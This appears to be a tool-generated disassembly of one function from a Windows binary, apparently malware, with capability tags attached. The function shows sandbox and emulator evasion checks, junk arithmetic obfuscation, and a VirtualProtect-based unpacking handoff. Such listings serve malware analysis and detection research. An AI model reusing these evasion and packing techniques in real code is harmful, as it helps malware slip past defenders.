Function at 0x402865
Capabilities:
Get keyboard layout
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414ac8
push 0x40f860
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
sub esp, 0x208
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0xd
call dword [sym.imp.KERNEL32.dll_AddAtomA]
movzx eax, ax
cmp eax, 0xd
je 0x4028a8
push 0
call dword [sym.imp.msvcrt.dll__exit]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or eax, 0xb03
imul eax, eax, 0x1e
imul esi, eax
mov edi, dword [ebp - 0x34]
sub edi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or eax, 0x311
imul eax, eax, 0xf
xor edi, eax
mov dword [ebp - 0x34], edi
push 0xd
call dword [sym.imp.KERNEL32.dll_AddAtomA]
movzx eax, ax
cmp eax, 0xd
je 0x4028f9
push 0
call dword [sym.imp.msvcrt.dll__exit]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x34], eax
fld qword [0x414a60]
call sub.msvcrt.dll__CIsin
fstp dword [ebp - 0x218]
fld dword [ebp - 0x218]
fcomp qword [0x414a58]
fnstsw ax
test ah, 0x41
jne 0x40292c
cli
call fcn.0040316d
mov dword [ebp - 0x34], eax
wait
and dword [ebp - 4], 0
and dword [ebp - 0x28], 0
and dword [ebp - 0x24], 0
jmp 0x40294a
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x402976
push 0xb
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movzx eax, ax
cmp eax, 0xb
je 0x402964
and dword [ebp - 0x24], 0
push str.0xeb0fc0c4
push str.0x6d637c77
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
jmp 0x402943
wait
or dword [ebp - 4], 0xffffffff
jmp 0x402989
push 0
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or eax, 0x6ae
imul eax, eax, 0x12
imul esi, eax
mov edi, dword [ebp - 0x34]
sub edi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
or eax, 0x8e1
imul eax, eax, 0x16
xor edi, eax
mov dword [ebp - 0x34], edi
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
and dword [ebp - 0x20], 0
mov eax, 0xed85
and eax, 0x737c
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
or eax, 0x4d
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
or ecx, 0x3d2790e1
mov eax, 0x33c7
xor edx, edx
div ecx
mov dword [ebp - 0x16c], eax
mov ecx, 0x8405
or ecx, 0xd0921eca
mov eax, dword [ebp - 0x16c]
xor edx, edx
div ecx
mov dword [ebp - 0x174], edx
mov eax, 0xc9c
imul eax, dword [ebp - 0x174]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x158]
or ecx, 0x46e0215d
mov eax, 0xa639
xor edx, edx
div ecx
mov dword [ebp - 0x160], eax
mov eax, 0xc3f0
imul eax, dword [ebp - 0x160]
mov dword [ebp - 0x168], eax
mov ecx, 0x1413
or ecx, 0xbe1c56b8
mov eax, dword [ebp - 0x168]
xor edx, edx
div ecx
mov dword [ebp - 0x170], edx
mov ecx, dword [ebp - 0x170]
or ecx, 0xc6690d2d
mov eax, 0x9c5b
xor edx, edx
div ecx
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x2c], eax
mov eax, 0x103b
and eax, 0xe9b1
mov dword [ebp - 0x17c], eax
push 0x5d
pop ecx
or ecx, 0x5e609700
mov eax, dword [ebp - 0x17c]
xor edx, edx
div ecx
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 0x184]
add eax, 0xc9d0
mov dword [ebp - 0x18c], eax
mov eax, 0xc04c
or eax, dword [ebp - 0x18c]
mov dword [ebp - 0x194], eax
mov eax, 0x65dd
xor eax, dword [ebp - 0x194]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x178]
or ecx, 0x630c599c
mov eax, 0xae10
xor edx, edx
div ecx
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
add eax, 0x7274f3d3
mov dword [ebp - 0x188], eax
mov eax, 0x243
sub eax, dword [ebp - 0x188]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x2c], eax
push 0xc
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
movzx eax, ax
cmp eax, 0xc
jne 0x402ba7
push 0x71
call dword [sym.imp.USER32.dll_CharUpperA]
cmp eax, 0x51
jne 0x402ba7
push 0
call dword [sym.imp.oledlg.dll_OleUIBusyA]
cmp eax, 0x65
jne 0x402ba7
fld qword [0x414a50]
call sub.msvcrt.dll__CIsin
fstp dword [ebp - 0x21c]
fld dword [ebp - 0x21c]
fcomp qword [0x414a48]
fnstsw ax
test ah, 0x41
je 0x402ba7
call fcn.0040316d
test eax, eax
jne 0x402d93
push 3
pop eax
or eax, 0x24
mov dword [ebp - 0x19c], eax
mov eax, 0x99
sub eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a4], eax
push 0x4e
pop eax
sub eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1ac]
add eax, 0x6a
mov dword [ebp - 0x1b4], eax
mov ecx, dword [ebp - 0x1b4]
or ecx, 0x2f05528d
mov eax, 0xa7
xor edx, edx
div ecx
mov dword [ebp - 0x198], eax
mov eax, 0x42322ded
sub eax, dword [ebp - 0x198]
mov dword [ebp - 0x1a0], eax
push 0x57
pop ecx
or ecx, 0xf2618e7
mov eax, dword [ebp - 0x1a0]
xor edx, edx
div ecx
mov dword [ebp - 0x1a8], edx
push 0x3b
pop eax
sub eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x2c], eax
push 0x54
pop ecx
or ecx, 0x758c03e
push 0x6a
pop eax
xor edx, edx
div ecx
mov dword [ebp - 0x1bc], edx
mov eax, 0xeb
and eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x1c4], eax
push 0x78
pop eax
xor eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1cc]
imul eax, eax, 0x7be3
mov dword [ebp - 0x1d0], eax
mov eax, 0xd0
and eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x1b8], eax
push 0x20
pop eax
and eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1c0], eax
push 0x4f
pop eax
and eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x2c], eax
push 0x7a
pop eax
or eax, 0xd5
mov dword [ebp - 0x1dc], eax
mov ecx, dword [ebp - 0x1dc]
or ecx, 0x5d41a649
mov eax, 0xc0
xor edx, edx
div ecx
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e8]
and eax, 0x6f
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x1f0]
add eax, 0xba
mov dword [ebp - 0x1f8], eax
mov ecx, dword [ebp - 0x1f8]
or ecx, 0x8749930d
mov eax, 0xa7
xor edx, edx
div ecx
mov dword [ebp - 0x1d8], eax
mov ecx, dword [ebp - 0x1d8]
or ecx, 0x7b183aed
push 0x24
pop eax
xor edx, edx
div ecx
mov dword [ebp - 0x1e4], eax
mov eax, 0x9b
xor eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x1ec], eax
push 0x12
pop eax
xor eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
xor edx, edx
mov ecx, 0x68b567f
div ecx
mov dword [ebp - 0x1d4], edx
mov eax, dword [ebp - 0x1d4]
add eax, 0x2db50966
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x2c], eax
push 0
call dword [sym.imp.msvcrt.dll__exit]
and dword [ebp - 0x148], 0
lea eax, [ebp - 0x34]
push eax
push 0x414a04
push OleUIBusyA
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 6
jne 0x402de1
fld qword [0x414a40]
call sub.msvcrt.dll__CIsin
fstp dword [ebp - 0x220]
fld dword [ebp - 0x220]
fcomp qword [0x414a38]
fnstsw ax
test ah, 0x41
jne 0x402e31
mov eax, 0x9c
sub eax, dword [ebp - 0x148]
mov dword [ebp - 0x1fc], eax
mov eax, 0x3d6bc238
sub eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x200], eax
push 0x2f
pop eax
sub eax, dword [ebp - 0x200]
mov dword [ebp - 0x204], eax
mov eax, 0xc8
or eax, dword [ebp - 0x204]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x2c], eax
jmp fcn.004031a1
push 0
call dword [sym.imp.oledlg.dll_OleUIBusyA]
cmp eax, 0x65
jne 0x402ed6
call fcn.0040316d
test eax, eax
je 0x402ed6
lea ebx, [ebx]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edi, [edi]
mov dword [0x42c688], eax
mov bx, bx
xor eax, eax
push eax
pop eax
mov ecx, eax
lea eax, [eax]
add ecx, 0x4126a2
push esi
pop dword [ebp - 0x150]
push ecx
mov esp, esp
sub ecx, 0x4126a2
call fcn.00402000
mov eax, eax
xor edx, edx
ret
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0x10